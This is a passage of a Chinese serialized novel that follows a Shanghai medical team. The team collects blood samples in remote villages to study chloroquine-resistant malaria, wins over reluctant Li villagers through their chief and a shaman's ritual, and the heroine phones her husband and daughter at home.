程三哥也在旁边听着,他们仨都是从大城市来的专家,他们说的肯定比自己认识到的要正确全面,他看舒英记下来后,有些不好意思地指了指她手里的小本子,腼腆地舔了下嘴唇后问:“你这个本子回头能不能借我抄一下?” 舒英瞬间笑起来:“当然没问题。” 程三哥也笑,抓了抓脑袋,“哎!” 几个人边走边聊疟疾,竟也觉不到累了,很快翻过一个山头,程三哥小跑了几步,指着不远处隐约可见的村庄说:“那里就是我们村了。” 舒英顺着他的手指看过去,果然看见山间有朦胧的房屋形状,不由得笑起来,“终于要到了。” 这个村庄算是这边一个比较大的村庄,整体错落有致,分布格局顺从山体形状。 不过看着快到了,弯曲的山路却告诉他们没这么简单。 舒英直到走到程庄门口才算是真正理解“望山跑死马”这句话,她双手撑着双腿,有些疲累,转头一看,出了程三哥跟没事人一样,廖承平和章惠然都是一副懵懵然的状态,被累的。 程三哥看着他们这样子,提议说:“要不你们先到我家里歇一会儿吧,歇够了再去也没事的。” 章惠然摇摇头,问俩学生:“你们还坚持得住吗?” 当然坚持的了,章老师这么大的年纪,都不怕苦不怕累,他们更不能害怕了,都咬着牙摇头:“没事,老师,我们去采样吧。” 程三哥见他们不愿意歇着,也就不再多劝,道:“那行,那咱先从近的这一家开始,我们村一个有三十一个人都得了这个病。” 章惠然点头,疟疾靠蚊虫叮咬传染,这边蚊虫多,一个村里有一个人得,其他的人也很难幸免。 三人到了第一户人家后,都赶忙把包里的医疗器械拿出来,他们要在患者指尖上采血,将血液和氯喹溶液混合,放到注有青霉素的小玻璃瓶中,这些混合过的血液要在24小时后制作成血涂片。 而这些混合的血液储存条件也比较苛刻,要在瓶口处塞棉花透气,还要置于37摄氏度的环境来模拟体内条件,这里没有专业的设备,他们只能用热水袋和温度计来人工控制温度,时不时就要检查温度是否合适,温度过高或过低的血液都只能遗憾弃用。 三个人跟着程三哥一家一户地过去敲门并说明来意,大部分居民都十分愿意配合,所以血液的采集也还算是顺利。 而少数人因为他们来的不凑巧,并不在家中,只能下次再来。 遇到有些对氯喹不起作用的患者时,程三哥会提前说明,三人采了他们的血液后也会在瓶子标签上备注,等最后验证三人的分析是否正确。 三人这一忙活就是大半天,早已过了用午饭的点,等他们把在村里能找到的愿意配合的人都采集完毕后,程三哥道:“我家里做了饭,你们这大半天都没吃东西了,要不去我家凑合一口吧?” 这大半天,他一直拿眼睛观察着呢,这一观察就觉得不愧是从大城市来的专家,干起活来,那状态跟他们这些赤脚医生完全不一样,他们专业、标准、一丝不苟,最让人佩服的是,这些大城市里的人,第一次到他们这种穷地方,一点不喊苦,大早上走这一个多小时过来,一来到就忙着给他们采血,途中连口水都没时间喝,更别说吃东西了。 他摇摇头,这下是打心眼儿里的敬佩,他们会来这里,也是为了他的同乡们,他们是有大义的人,不能让人家光忙活,连口饭都不给。 他心里的想法,三人并不知情,但他们心里知道,这里不富裕,他们一吃就是三张嘴,就是多少粮食,章惠然笑着拒绝:“不用了程同志,我们带的有干粮,我们吃干粮就行,你也跟着我们累了这么长时间了,你赶紧回家吃饭吧,我们歇一歇这就回去了。” 程三哥不管她的拒绝,他是真心想招待他们一顿 饭,一顿饭而已,他还嫌不足以表达他心中的感激之情,他不好拉两位女人,就伸手拽着廖承平不松,嘴上道:“走走走,家里做好饭了,还吃什么干粮,干巴巴的哪有饭菜好吃?我家就在那前边,近的很,走走走,跟我走。” 廖承平一个城里人,肩不能挑手不能提的,哪里拉得过常年在侍弄庄稼的程三哥,他稍稍一拽,廖承平完全不受控,只能踉跄地跟着他走。 程三哥“钳制”住一个人,也不管后面俩人跟没跟上,只顾着一个劲儿地往家走。 见状,章惠然和舒英就是再不好意思去吃他的饭,也不得不去了。 第72章 第 72 章 遇到难题 农村里的赤脚医生一般都是半农半医的, 农时也要忙着种地,所以家里吃的粮食多是自己种的。 三人去了程三哥家里,这时候已经过了吃饭的点了, 但程三嫂知道他们干正经事呢, 锅里给留了饭,见他们回来就赶紧把饭菜热上了,程三哥还一直说着让她再炒两个菜, 不过说的当地方言,舒英他们听不懂,都有些迷茫地看着他们。 他家里有好几个孩子,最大的已经出嫁了, 其他的孩子也没有出去玩,都在家帮着干活。 舒英早上出门的时候,怕章惠然走时间长了会低血糖,特意抓了一把糖在口袋里, 这下看到这些孩子就都送给了他们。 都是谷雨喜欢吃的糖, 想到这,舒英看着这些孩子的眼神也就越发温柔。 她送了糖, 章惠然和廖承平也把自己的压缩饼干之类给了孩子们。 他们送东西的时候, 程三哥还拦着不让,章惠然态度强硬地将东西塞到孩子们的口袋里道:“你要是不让他们要,那我们也不能留下来吃饭。”说完就要喊着舒英和廖承平离开。 没办法,程三哥只能让孩子们收下, 再让他们礼貌地说谢谢。 三人在程三哥家里吃完饭后,跟程三哥说了一下明天什么时候见,也没让他送,自己又徒步回去了。 回去的路上, 三人轮流背着箱子,箱子里放着小玻璃瓶,一路上也是小心翼翼,时不时就要检查一下温度有没有变化,也不敢走急,走急了箱子晃动,小玻璃瓶容易碰碎。 等回到卫生院的时候,就快到吃晚饭的时间了,另外两队也已经回来到了,看见他们就忙迎上来帮忙把东西拿进去。 章惠然问:“你们今天怎么样?” 他们都笑了下,付思萱道:“今天都挺顺利的,我和孔学哥今天收集了17份,欧阳学姐和学弟收集了13份。” 章惠然点头,他们三个今天收集了14份,数量上都差不多。 “那今天这些玻璃瓶都要好好保存,温度上一定要仔细再仔细,明天这个时候我们就可以制作血涂片了。” 晚饭依然是孙爱国他们帮着招呼的,他拎着两条鱼笑起来说:“村里人听说大城市里来了帮我们除疟疾的专家,特意给你们送来了这些。”他把竹筐倾斜,使他们能看见里面的东西。 大家都围过去瞧,不只是有鱼,还有鸡蛋和村民们自己种的蔬菜。 除章惠然外,其余人都是第一次感受到这种被欢迎的感觉,一时都有些激动。 满足地吃完一顿饭后,趁着天色还亮,大家坐在院子里开会对今天进行复盘,复盘的内容包括,今天有哪些地方做的不标准,讨论患者不配合的原因,讨论他们症状上的区别。 主要是章惠然讲,不时提问,其他人再偶尔插一句话。 复盘结束后,舒英的小本子又记了好几面。 舒英心里还怀揣着一件事,她合上本子后去找孙爱国,问:“孙大哥,咱们卫生院里有电话吗?” “电话?”孙爱国摇头,“没有,那太贵了,咱们可按不起。” 舒英微微有些失落,又不死心地问:“那您知道哪里有吗?” “咱们这一片我还没听说谁家按电话了,不过镇政府肯定有,怎么了,你要打电话吗?”孙爱国问。 “没,我就问问。”舒英压住失落,面上牵出一个笑。 天色渐黑,巍峨的山变得有些影影绰绰,舒英坐在院子里吹风,目光遥望远方。 付思萱透过窗户看她,扯着嗓子说:“英姐,外面蚊子多,你还是赶紧进屋里来吧,屋里蚊香已经点上了。” “哎!就来。”舒英应声起身,将坐着的小板凳也一并收进房间。 付思萱已经将床铺好了,坐在床沿上嘟囔:“这边太潮湿了,昨天晚上洗的小衣服到现在还没干,被子上感觉也都是潮气。” 舒英笑了下,这个问题她没办法解决,蹲下去从床下拉出一个大包,从里面拿出几包零食问:“吃吗?” 付思萱眼睛一亮,伸手接过一包,“你还带这个过来了?” “谷雨喜欢吃,我来的时候就随手装了几包。”舒英道,又问章惠然和欧阳雪吃不吃。 章惠然笑道:“那给我也来一包吧,让我尝尝你们年轻人都喜欢吃的都是些什么。” 欧阳雪也拿了一包,舒英将剩下的拿到男生那边,敲门在门口递了一下,跟他们简单说了两句话后就回来。 回到房间,她们仨已经吃起来了,付思萱吃着果丹皮道:“我小时候就喜欢吃这个,我还记得那时候上小学,一到放学就要缠着我妈去给我买这个吃。” 欧阳雪也笑:“小时候我爸妈不让我吃这些,不过那时候同学们都吃,所以我都是躲着他们吃。” “小孩儿,都是贪吃贪玩的性格,我还记得我闺女小的时候也是,让她吃,她吃起来就没顾忌了,不让她吃,躲着我也要吃。”章惠然笑出声,手里的零食吃了两口后就又递给了她们,“不行了,我现在吃这些觉得舌根反酸。” 房间里只有章惠然和舒英有孩子,说起孩子,舒英就又想到谷雨,这些天,忙的时候还好,只要一闲下来就总是控制不住地想她现在怎么样了,她有没有按时吃饭;有没有少吃零食;沪市应该已经降温了吧?她有没有受凉;有没有又跟贝贝吵架闹矛盾。 来之前她还答应会经常给他们打电话,结果除了下火车时用公共电话跟他们匆忙说了两句话,直到现在都没有再跟他们打电话了。 章惠然看出她情绪有些低落,也很能理解她,但这时候别人再怎么劝都是没用的,那是一种情绪,不是理智能够控制的。 明天早上还要早起,大家早早洗漱睡觉,房间瞬间安静下来。 舒英怀里搂着谷雨的小羊玩偶有些睡不着,没一会儿,她听到身边有轻微啜泣声,她转过身,就见付思萱在压着声音哭。 舒英轻轻拍了拍她,没说话。 付思萱从被子里露出头,用气声问:“英姐,我有些睡不着,你能陪我在院子里走走吗?” 舒英点头坐起身,两个人轻轻下床,穿上拖鞋后出门又轻轻将门带上。 天上没有月亮星星,院子里也没什么光亮,两个人在空地上踱步。 舒英问:“想家了?” “嗯。”付思萱鼻音浓重,撇着嘴要哭不哭的,“我想我爸爸妈妈了。”越说越想哽咽。 她从小到大都生活在沪市,从来没离开家来这么远的地方过。 舒英明白,她也想李固言和谷雨了,“我们明天回来写信吧,写完后等有空的时候送到邮局去。”打电话不方便,那就写信。 “好。”付思萱点头,又说,“还有这里真的太苦了,什么都没有,就是去给患者采血都要走那么远的山路去,路上还都是泥巴,甚至还要小心会有蚂蝗。” 舒英轻叹,这边远比安城还要落后得多。 “我不是嫌弃这里。”付思萱擦了下鼻涕,带着哭腔说,“就是我真的觉得这里太苦了,这里的村民都太辛苦了,姐,你知道吗?我今天去的那几户人家里,有的一家只有一条裤子,裤子上开都是补丁,谁要出门谁就穿那条裤子。” 这种情况舒英也遇到了。 付思萱继续道:“我裙子、裤子,棉的、纺的、牛仔的,多的柜子里都塞不下,一想到这个我就更难受了。” 舒英不知道该怎么安慰她,这边地处山区,山路难行,生活资源是很匮乏的,生在繁华大都市里的人在来之前是很难想象这里的困难的。 付思萱也不是想让人安慰,她发泄一通后,心情好多了,不好意思地破涕笑了笑:“等我回了沪市,我要给他们一人送一条裤子。” “好。”舒英笑起来,两人重又回了房间睡觉。 黑暗里,章惠然听见动静睁眼看了看,见她们又躺到床上才放心地闭上眼。 沪市。 李固言将谷雨哄睡后,手里拿着她白天画的画看,这是他想出来的新办法,让谷雨想妈妈时就画一张画,等妈妈回来后就能把画送给妈妈。 他伸手摸上画纸上已经晕开的痕迹,这是谷雨的眼泪。 他看完后将画小心收起来,抬头看了眼窗外,心中也在挂念着远方的人,不知道她在那边生活的怎么样?能适应吗?他们的研究又进展得如何? …… 第二天,大家的任务还是血液采集,有了昨天的经验,大家今天都是信心满满,各自出发,章惠然今天跟着付思萱他们一组。 昨天带回来的玻璃瓶都有孙爱国他们照看。 舒英和廖承平依然跟着程三哥,今天去的地方更远了些。 路上程三哥交代道:“我今天带你们去的是黎族的村落,他们那边有些习俗跟咱们汉族不一样的,他们信仰山神,生病第一时间都是找娘母的,有好多人就因为这个原因被耽误了治疗,最后没了生命。” 舒英和廖承平对视一眼,都从对方眼中看到了紧张,今天的任务恐怕十分艰巨。 到达村子后,程三哥先带他们去找了族长,跟他说了今天的目的。 族长考虑了一下说:“我给你们把人叫出来,但他们不一定愿意配合。” 他让人将那些得了疟疾的村民都喊到了门前的空地上,舒英和廖承平看到这些人都很高兴,他们愿意过来就表示成功了一半。 廖承平站在前面跟程三哥说待会儿他们要做些什么,让程三哥跟他们翻译,程三哥看了他一眼后照做。 他话音还没落,舒英就见下面瞬间喧哗起来,交头接耳互相讨论着什么,边说边对着他们撇嘴,甚至有几个人格外激动,眼睛瞪着他们很是不善,她看着心中有些惴惴,连忙问程三哥他们说的什么 程三哥有些无奈,道:“他们说不愿意抽血,他们认为抽血会带走他们的灵魂。” 舒英和廖承平听完后都大吃一惊,怎么也没想到会是这个结果。 族长见他们激动起来,也赶紧安抚他们,村民们还是听族长的话的,人群渐渐安静下来。 舒英和廖承平何时见过这种场面,赶忙商量着对策,程三哥道:“我看你们要不今天还是算了吧,他们今天肯定是不会让你们采血的。” 两人看着今天这种状况,心中也都清楚机会渺茫,但还是有些不甘心,他们今天走了这么远的路过来,总不能连一个人的血都没有采到。 廖承平道:“三哥,你觉得要是向他们解释清楚,可行吗?” 程三哥迟疑了下,还是摇了摇头,“我觉得不太行,他们有他们的信仰,而且大多数人都没上过学,也不识字,你就是跟他们说破了嘴,他们也不一定能听懂你们在说什么。” 就在几人还在商量对策的时候,空地上的人群指着他们也说着话,还没等这几个外村人商量完,三三两两的就开始散开了。 舒英和廖承平都有些目瞪口呆,问:“他们怎么走了?” 程三哥问完族长后又跟他们翻译:“族长说他们肯定是不愿意抽血的,他们家里还有事情要做,没功夫留在这,就都回去了。” 程三哥说完,族长也转身进了屋。 “吱呀”一声,木制的大门在他们背后合上,刚刚还热闹非常的空地上刹那间就只剩了他们三个人。 舒英和廖承平霎时都有些迷茫无措,不明白怎么人都走光了。 程三哥也忍不住有些同情他们,这大老远的来一趟,早上在路上走的脚都磨出水泡来了,结果一个人都没采成。 舒英和廖承平齐齐叹了一口气,今天采不成,只能回去跟大家商量商量看怎么办才好了。 两人回到卫生院,已经过了晌午,也没麻烦孙爱国他们,就一人抱着两块压缩饼干配着温水啃。 肚子简单填饱后,两人去看昨天带来的玻璃瓶,这些差不多都已经到24小时了,可以制成血涂片了。 两人都有些沮丧,各坐一边,沉默地制作血涂片。 没多久另外两队也陆续回来了,付思萱一进门就有些唉声叹气,看见舒英问:“姐,你们今天怎么样?” 舒英摇了摇头:“今天一个都没采到。” “我们也是。”付思萱,“你们去的也是黎族的村落吧?我们去的也是,他们死活不同意我们采血。” 好在今天也不是全无收获,欧阳雪他们队最后回来,他们去的汉族村,成功采到了11份。 才来第二天就碰到了这么大的难题,士气顿时有些低迷,章惠然拍拍手道:“行了,别垂头丧气的了,我们先把昨天采回来的血液制成血涂片,然后好好讨论一下接下来应该怎么办。” 大家应声,收拾心情去制作血涂片。 血涂片都做完后,大家如昨天一样在院子里围坐,人手一个小本子记录。 舒英道:“黎族村民有自己的信仰,他们的信仰让他们害怕抽血,觉得抽血会带走他们的灵魂,我们都知道这当然是无稽之谈,但他们对此深信不疑。我跟廖学哥今天在那边还想向村民详细解释我们的这些原理,但程三哥说这没有用,因为他们不认识字,我们说的东西他们也没办法理解。” 章惠然点头:“是,我们今天也是这样,我们在那边跟村民们说得口干舌燥,但依然没一个人同意。这边是多民族混合,我们不能只采汉族村民的血,所以我们必须要想出一个让黎族村民同意我们采血的办法来。” 欧阳雪沉思了一下,道:“既然如此,我们以毒攻毒,就从他们的信仰入手呢?不要去跟他们说科学上的事,他们暂时理解不了,也无法认同,我们说也是白说。既然他们信仰山神,我们就说疟疾是山鬼作恶,藏在他们的身体里,而给他们采血是受山神指引,将藏在他们血液里的山鬼除去,这样就能让他们的病痛减轻。” 等她说完后,大家都望向她,各自拿着笔思索着这个方法的可行性。 章惠然也很满意,认可道:“我觉得这个方法不错,我们要学会到什么山唱什么歌。就像小雪说的,既然他们信山神,那我们就说我们是山神派来的,只是如何让他们相信我们是山神派来的,这又是一个难题。” 大家垂着头想解决办法,舒英突然灵光一闪,提议道:“我们找族长,我今天到那边发现他们很信任族长,而族长对我们并没有那么抗拒。我们一开始就让程三哥告诉族长我们是来给村民采血的,族长听完只是犹豫了一会儿,最后还是答应帮我们叫人,这说明他并不是像村民们一样对抽血会带走灵魂这一说深信不疑。族长既然能成为族长,我想他肯定是有接触过一些科学教育的,我们将利害关系跟他讲明,我们是为了治疗村民的疟疾,我想他没有理由会拒绝。” “我感觉可以。” “我也觉得可以。” 大家对这个提议都很赞同,觉得可行性很高。 对策商量好,大家也不耽搁,第二天就去找了黎族族长。 大家对着族长好一通说,晓之以情动之以理,程三哥在旁边翻译的嘴皮子都快磨破了。 族长听完后深深看了他们一眼,静静思考着,没说同意也没说不同意。 舒英见他还在犹豫,咬了咬唇道:“族长,昨天来的时候我就观察到,你们村患疟疾的村民有很多,我也打听到有不少村民都因此病丧命,那些离去的人都是一条活生生的人命,曾经活蹦乱跳地站在你面前,扛着锄头从你眼前经过去下地,可是现在,他们都变成了一抔黄土,甚至去世前备受疟疾折磨。如今国家对疟疾很是重视,派了很多专家到各地去研究,就是想要彻底消灭疟疾,让华国的百姓不再受此病折磨。族长,请您认真考虑一下我们的建议,你是受过教育的人,有大智慧的人,肯定知道我们说的不是谎话,我们是真心想要帮助这些同胞,我们虽然不是同一个民族,但我们的心都是一样的。” 她说得慢,方便程三哥翻译,族长在她说的时候一直看向她,脸上不无动容,抿了下唇后重重叹了口气,让程三哥翻译。 “他答应了!”程 三哥高兴得眉飞色舞。 大家听到这句话都愣住了,反应过来后脸上瞬间绽开笑,七嘴八舌地向他道谢。 程三哥兴奋之余不忘向他翻译,其实就是他不翻译,族长通过大家的动作表情上也能猜出八九分。 他抬手压了压,又说:“不过光靠我跟村民们说,他们也是不会相信的,恐怕还会以为我被你们欺骗了,这件事需要找娘母,让她在你们采血前做一个仪式,让村民相信自己的灵魂已经被山神保护,就是你们采血也不会把他们的灵魂带走。” 大家谁也没料到这件事还要再找娘母才行,但事情已经看到了希望,大家都干劲满满,脸上盈着笑。 在舒英的理解中,“娘母”有点像是他们黎族的巫师,像祭祀、通神、看病这些都归她管,也是黎族中地位比较高的人,很受村民们信服。 但同样的,娘母对于科学看病的知识也很是欠缺,中医西医恐怕都不精通,在别人来求药时,开的都是一些山中草药,不能说一定是乱开药,但她觉得恐怕生了病后再吃娘母开的药,恐疗效甚微。 娘母不在他们村,在另外一个山头,于是一群人又在族长的引路下,跋山涉水走了快一个小时才到。 来了这几天,舒英都快不认识“小时”这个计时单位了,怪不得这边这么落后,“要想富先修路”,这边山路实在崎岖难行,修路也是一个大工程,以国家目前的能力,就是有心也无力,只能希望国家发展得再快一些,再快一些,早点把这边的路修通,起码让山里的百姓们通行方便。 第73章 第 73 章 小别胜新婚 娘母是一个矮个儿妇人, 一双眼睛锐利,很是精明,听完他们的来意后笑了笑, “这么听来, 感觉你们做的还是一件好事了,那能帮忙的我肯定是不能拒绝的,但就是这……”说完眼睛看向他们的口袋。 大家会意, 这是想要酬劳,章惠然连忙把口袋里的钱全掏出来递过去,歉意笑笑:“出来的匆忙,就带了这些, 您看够吗?” “够!够!”娘母笑得眼睛眯起来,接过钱数了数,满意地塞进上衣胸口里侧的口袋里,拍了拍胸口用方言道, “这件事就交给我, 咱们明天就举行保护仪式。” 程三哥忙将她的话翻译给大家听,大家这才放下紧张, 脸上露出笑容。 第二天一大早, 天还蒙蒙亮,大家就从卫生院出发,前往这个黎族的小村落,到地方的时候, 族长和娘母他们已经在那边等着了。 娘母身上穿的衣服繁复奇异,应该是她“做法”时的专用服饰,不知道是不是衣服的作用,使她今天瞧着跟昨天大不相同, 冷不丁地站在人眼前,倒真有点唬人,怪不得这么多人信她。 舒英打量着眼前的摆设,院门前放置了一张木制长桌,桌子上放了一捆细细的红线,一把木剑,还有香炉等摆件。 等村民都来齐后,族长站在前面说了几句话,程三哥翻译说:“他在跟大家解释说,娘母被山神托梦,有事情要嘱咐子民们。” 舒英跟大家一起站在边上瞧着,族长说完话后,村民们都安静下来,目不转睛地盯着娘母,看她会说什么。 娘母一言不发,颇有气势地拿起桌上的木剑,双手挥舞着,跳起在她们看来有些怪异的舞蹈,不过舞蹈怪异,仔细欣赏,确能从中看出一点美感来。 娘母闭着眼摇头晃脑,嘴里对着香炉嘀嘀咕咕,声音含糊,让人听不清说了些什么。 等一套流程都走完后,娘母终于站定,又霎时盘坐下去,动作快到让人猝不及防。 紧接着,娘母闭上眼睛,嘴巴没有张开,但浑厚的声音从她身体里传出,舒英暗自点头,是个有点技能的人,没有经受过教育的村民们会对他们深信不疑倒也不奇怪了。 程三哥掩着嘴小声翻译,大家连忙将耳朵倾过去听。 “她的意思大概就是,山神听说百姓们都生了疾病,说那些疾病是山鬼作祟,变成了邪恶的虫子钻进他们身体流淌的血液中,现在要将这些血液抽出来,同时让他们不用担心,会给他们手腕上带上红绳以保护灵魂不会被抽走。” 众人点头,这就是他们昨天跟娘母商量好的说辞。 浑厚的声音暂息,娘母猛地睁开眼,眼神中多了一丝悲悯,和蔼笑着让村民们排成队,她会亲手给他们系上红绳。 村民们没有异议,都配合起来,大家见状都有些兴奋,这件事终于彻底解决了,他们可以给黎族的村民抽血采样了。 七个人连忙过去,将带来的采血器械拿出来,给已经系好了红绳的村民们采血。 忙碌了一天,大家回到卫生院,激动不减,接下来的一段时间内,七人每天的日常就是给村民们采血、再制作成血涂片。 采样结束后,众人将制作好的血涂片放到显微镜下观察,卫生院只有这一台显微镜,而且显微镜还有些老旧,镜片都有些花了。 章惠然皱了皱眉道:“这里不行,不能再浪费时间了,我们带着血涂片去市里研究院,那里设备齐全。” 众人无异议,连忙去收拾东西,马不停蹄地乘车去了市里。 路上,付思萱笑道:“市里有公共电话,出来这么久,终于可以给家里打个电话了。” “是啊。”舒英也笑,坐在颠簸的大巴上,眼睛看着窗外葱绿色的山体,若是不考虑条件上的艰苦,这边的风景其实是很优美的。 她离家这么久,真的想家了,想谷雨,想李固言。 大巴到了市里,大家扶着腿下车,干呕了几声又灌了几口水才算是缓过来。 舒英苦着脸,这辆大巴,她真是怎么都坐不习惯。 等大家都缓过来后也没歇息,连忙打车去了研究院。 研究院里还有从首都来的医疗团队,跟章惠然认识,互相交流了几句后就各干各的正事去了。 这些事情一时间是做不完的,所以七人要在市里留几天,这些天就住在研究院旁边的招待所里。 在研究院也是要争分夺秒的,晚上都得等九、十点研究院要关门了才能回去,舒英想了想,在吃晚饭的点给家里打电话,这个时候谷雨已经放学了。 沪市。 客厅里的电话“嘟嘟”响了两声,李固言听见后起身过去拿起听筒:“喂?” 听到熟悉的声音,舒英笑出来道:“固言,是我。” “阿舒?”李固言眼神瞬间亮起来,终于听到日思夜想的声音,挪了挪屁股,坐的离电话更近了些,“你到那边怎么样?这么些天都没打电话过来,我心一直悬着。” “我在这边一切都好,是想给你们打电话的,但村里还没装电话,就没办法打,现在来市里办几天事,这边有电话亭。”舒英笑得灿烂,手指绕着电话线,“对了,不能打电话,我就给你们写了信,估计要过一段时间你们才能收到。” “好,好。”李固言突然想起什么,连忙让赵姐去楼上把谷雨叫下来,“她刚吃完饭,跟贝贝在楼上玩呢。” “她这段时间怎么样?哭得厉害 吗?“舒英眉头隆起,抿了下嘴,有些担心。 “厉害,你刚走那几天,天天都要哭到半夜才能睡着,这几天好一点了,也要抱着你的衣服睡才行。”李固言正说着,就见从门口快步跑过来一个小身影,嘴里还喊着“妈妈妈妈”。 舒英在电话那头就听到了,连声应着,声音柔下来:“谷雨?” “妈妈!”谷雨坐在爸爸腿上,将听筒放在耳朵上,撇着嘴有点想哭,“妈妈,我好想你,你什么时候回来呀?” 舒英听到她的声音,心一下子软得一塌糊涂,说:“妈妈过年就回去了,你这段时间有没有好好听爸爸的话呀?” 谷雨有些心虚地瞅了爸爸一眼,迎着他的目光梗着脖子说:“有。” 但还是有些底气不足,舒英听出来了,觉得有些好笑,也没拆穿她,笑道:“妈妈就知道我们谷雨是世界上最棒的小孩,等妈妈回来,妈妈要好好抱抱你亲亲你。” “妈妈也是世界上最好的妈妈!”谷雨一脸自豪。 李固言在旁边补充,“她天天跟别人炫耀,说你是天上派下来的神仙,现在去南方救人去了,逮着一个人说一遍,还要追问人家知不知道疟疾,不知道的,还要给人家解释一遍。沾了你的光了,现在我带着闺女走在小区里,不少人都一脸佩服地看着我。” 舒英听完没忍住笑出声,谷雨听到妈妈笑有些不好意思地想要捂住爸爸的嘴,不让他再说。 李固言抓住机会告状:“好,你闺女现在要捂我嘴了,她不让我告诉你这些。” 谷雨急得跺脚,连忙对着电话说:“我没有,妈妈你不要听爸爸的,我没有。” 听着父女俩玩闹,舒英又高兴又有些失落,如果这个时候,她也在旁边就好了,她道:“好,我不听爸爸的,我只听我们谷雨的。” 谷雨冲爸爸得意地挑了挑眉,李固言伸手在她脸颊肉上捏了捏,笑说:“人不大,心眼不少。” 谷雨恋着要跟妈妈说话,没管爸爸的动作,学着大人的模样关心道:“妈妈妈妈,你在那边怎么样?吃得饱吗?穿得暖吗?有没有想我和爸爸?” “放心吧,小管家婆,妈妈在这边过得很好,吃的很饱,这边很暖和,我们还在穿短袖呢。”舒英脸上笑意不减,“妈妈在这边想你了,也想爸爸了,特别特别想。” “那就好。”谷雨舒出一口气,拍了拍胸口继续说,“妈妈你在那边一定要照顾好自己啊,不要喝凉水,不要熬夜。” “好,都听我们谷雨的。”舒英声音甜甜答应。 李固言问:“你们那边进展怎么样了?” “不太乐观。”舒英摇了摇头,“我们来之前的猜测几乎算是被证实了。” 用显微镜观察血涂片,对比原虫存活率,虽然还没全部观察完,但就目前得出的结论来看,本南县大约有32%的虫株对氯喹的敏感性下降,与临床上的治疗失败率也吻合。 “那你们接下来还是在那边做研究吗?” “暂时是的。”舒英道,“不过章教授说我们大概十二月能回沪市,这边条件没有沪市齐全,我们要回去研究应对这种情况的方法。” 现在已经是11月了,也就是说他们还有一个月就能回来了,李固言笑起来:“好,你回来的时候,我带闺女过去接你。” “嗯。”舒英也笑,看了眼时间后说,“我现在要去吃饭了,我们现在还在市里,明天差不多这个点,我再给你们打电话。” “好,吃饭的时候多吃肉,你们现在每天都很辛苦,在吃上面一定不能节省。” “放心吧。”舒英手指蜷了蜷,“在家好好照顾谷雨,等我回去,还有……我很想你。” 李固言听完后笑起来,只觉一股暖流在心间缓缓流过,暖意到达四肢百骸,他低声回道:“我也很想你。” 谷雨也连忙接话:“妈妈,我也很想你!” 跟家里打完电话后,舒英觉得浑身都充满了力量,挂掉电话钻进了旁边的一家小饭馆,点好菜后就快速吃起来。 沪市家里,李固言和谷雨也很高兴,李固言抱着谷雨道:“妈妈下个月就回来了,开心吗?” “开心!”谷雨笑嘻嘻的,拍了拍爸爸的肩膀,让他抱自己抱到挂历边上,指着问,“下个月还有几天?” 李固言将挂历往后翻了翻,露出12月1号,道:“等到了这天,妈妈就快回来了。” 谷雨挣扎着从他怀里下来,噔噔磴跑进卧室又跑出来,出来时手里多了支笔,又让爸爸抱自己抱起来,攥着笔在12月1号上画了一个大大的圈,这才心满意足。 李固言笑了笑,捏了捏她的小鼻子。 “啊!”谷雨突然惊呼一声,懊恼地拍了下自己的脑门。 李固言连忙问:“怎么了?” “我忘记跟妈妈说我画了好多画了。”谷雨瞧着有些沮丧,嘟着嘴很是不悦。 李固言笑起来:“没关系,等明天妈妈再打电话回来时你再说。” “那只好这样了。”谷雨惆怅地撑着头,还叹了口气。 李固言失笑,屈指在她头上敲了下:“不能叹气,叹气要变成老太太了。” 谷雨抱着脑袋“哼”了一声,道:“爸爸坏,我明天要跟妈妈告状!” “告状?”李固言挑眉,立马把她抱起来放倒在沙发上,去挠她咯吱窝,看着她笑得停不下来问,“还告不告了?” 谷雨“咯咯”笑,很是识时务地讨饶:“不告了,不告了,爸爸,快放我起来。” 李固言放开她。 谷雨一溜烟儿地跑到门口,冲着他扮了个鬼脸,略略略道:“我要跟妈妈说,爸爸坏挠我痒痒!”说完出门跑到楼上去。 李固言听着她上楼梯的声音,好笑地摇摇头,今天真是她这段时间最开心的一天了。 …… 接下来两天,大家都在研究院观察剩下的血涂片。 首都来的医疗团队也因为研究一直留在这儿。 有天中午,大家在食堂碰上,干脆坐在一块儿吃了个饭。 边吃边聊关于疟疾的一些事情,其中一个人叹了口气说:“前段时间我们在乡下,有个母亲带着女儿来找我们看疟疾,小女孩看着才六七岁的样子,结果一看单子都已经十岁了,当时哪怕明知道氯喹可能不起作用,也只能给她开这个药,女孩的妈妈就在旁边很不安地攥着手,特别腼腆地笑,我到现在都还记得她脸上的那个笑。” “开了药后,她妈妈跟我讲,家里就这一点买药的钱了。”她说着有些哽咽,“当时我那个心啊,瞬间跟掉进冰窖里一样,冰冰凉凉的,瞬间就想哭,也没收她的钱。” 大家听完都有些沉默,章惠然道:“那我们更要打起精神来了,这边拥有相同遭遇的村民不在少数,这是一场仗,时间拉的越长,因此而去世的人就越多。这场仗艰难,但也必须要赢!” “好!”大家齐齐喊了一声,将食堂里用餐的人们都给吓了一跳, 他们也不在意,快速地将碗里的饭扒光,吃完就又回了实验室。 一行人在水和市待了两个多月,到12月7号时坐上返回沪市的火车。 这两个月,大家就没闲下来过,对比来时的样子,大家都瘦了一圈,也黑了不少,脚底板都不知道被磨了多少的茧子出来。 坐了几天几夜的火车,大家终于到了沪市,沪市比那边要冷的多,大家在车上时就换上了厚衣服。 李固言提前就带着谷雨来车站等着,就想着她一出来就能看见他们,结果她出来后,他差点没敢认,怎么就去了这短短两个月,却变化这么大,穿着厚棉袄,不是人穿衣服,倒像是衣服在穿人,他瞬间有些心疼,忙过去接她手里的行李。 舒英也一眼就看到了他和谷雨,笑着跟大家说再见,就朝着他们过去。 谷雨一见到她,就搂着她大腿哭,仰着头看着她说:“妈妈,你不是说会好好照顾自己的吗?怎么变得这么瘦啊。” 舒英好笑地将她脸上的眼泪擦干净,笑道:“妈妈有在好好照顾自己啊,妈妈虽然瘦了,但妈妈的力气可变大了不少,要不要试试?”说着就弯腰将她抱起来,抱在怀里深深吸了一口,嗯,是自己香香软软的好闺女。 谷雨心疼妈妈,怕累着她,被她抱了一小会儿后,就要下来,李固言也说:“她今天穿的厚,身上重,你牵着走就行。” “好。”舒英笑眯眯的,伸手去牵谷雨。 谷雨握上她的手又要抹泪,委委屈屈地哭着说:“妈妈,你的手都没有之前的软了。” 舒英笑起来,在她脸上捏了捏,故意问:“怎么,妈妈的手不软了,就开始嫌弃妈妈了吗?” “才没有!”谷雨慌忙解释,连忙表忠心,“我永远永远都不会嫌弃妈妈的!妈妈你不要这样乱说。” 